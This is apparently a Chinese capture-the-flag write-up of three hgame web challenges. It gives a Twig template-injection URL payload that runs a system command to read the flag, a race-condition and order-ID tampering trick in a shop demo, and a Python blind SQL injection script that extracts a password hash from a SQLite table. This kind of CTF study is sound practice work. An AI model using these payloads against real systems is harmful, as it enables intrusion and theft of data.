hgame第三週(web ak)
1.SecurityCenter
先看看hint(**vendor是第三方庫和外掛放置的資料夾,一般來源於composer的安裝)
找到了使用的twig模板,應該是twig模板注入
查部落格
依葫蘆畫瓢http://146.56.223.34:60036/redirect.php?url={{["base64 /flag"]|map("system")}}
進入了安全中心,應該不用點跳轉了,Array前面就是base64編碼(習慣了base都用basecrack免得套娃)
hgame{!Tw19-S5t11s^s00O0O_inter3st1n5!}
2.Vidar shop demo
這題的環境感覺不是很友好,報錯藏在彈窗後面看不太到,貌似是:暱稱長度足夠,電話限制11位,密碼大於10位(藏在彈窗下面
進去之後
抓個包把amount改成9999試試(只有9999個幣,flag要10000)
然並卵,想一想,那麼其他幾個便宜的徽章幹嘛用呢? 條件競爭,也許是併發操作(查了一篇技術知乎):
回到題目:
我先嚐試了手動購買多個訂單,然後設定併發50刪除訂單,發現錢沒有多退給我,反而可能變少,證實了併發操作是可以改變餘額的。
那麼我們多來幾個訂單(為了測試),試試併發購買(虛擬機器轉主機了,因為虛擬機器太慢)
回到訂單列表,買好了(如果看一下餘額算一下發現少用了錢
再退掉幾個訂單
發現錢變多了!
方法二:(無併發操作)購買買一個flag和一個徽章,在刪除徽章的時候抓包,改一下flag的ID就可以了
好耶 hgame{78ae16367b8c8f23f8bb81db0b1aa2d5bd909ef5a3f186f5e470303988c7e762}
3.LoginMe
先隨便登一下
json格式,常規測試之後猜測應該是sql注入
盲註指令碼
import requests
import json
url = 'http://5a51fa042c.login.summ3r.top:60067/login'
flag = ''
for i in range(1,2000):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
# 1' or (sqlite_version() GLOB '3.36.0') or '2'='1
# payload = "-1' or substr((select hex(group_concat(sql)) from uuussseeerrrsss),{0},1)>'{1}' or '2'='1 ".format(i,chr(mid))
payload = "-1' or substr((select hex(group_concat(passWord)) from uuussseeerrrsss),{0},1)>'{1}' or '2'='1 ".format(i,chr(mid))
datas = {
"username": payload,
"password": "1"
}
headers = {'Content-Type': 'application/json'}
res = requests.post(url=url,headers=headers,data=json.dumps(datas))
if 'success!' in res.text: # 為真時,即判斷正確的時候的條件
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
# print('\n'+bytes.fromhex(flag).decode('utf-8'))
base解碼一下:
54c89486be811c26424c4335ed1af27e,應該是對應的密碼,使用者名稱應該是admin
(題目環境5min重置一次,所以每次python跑出來的值都不一樣,密碼也就不同)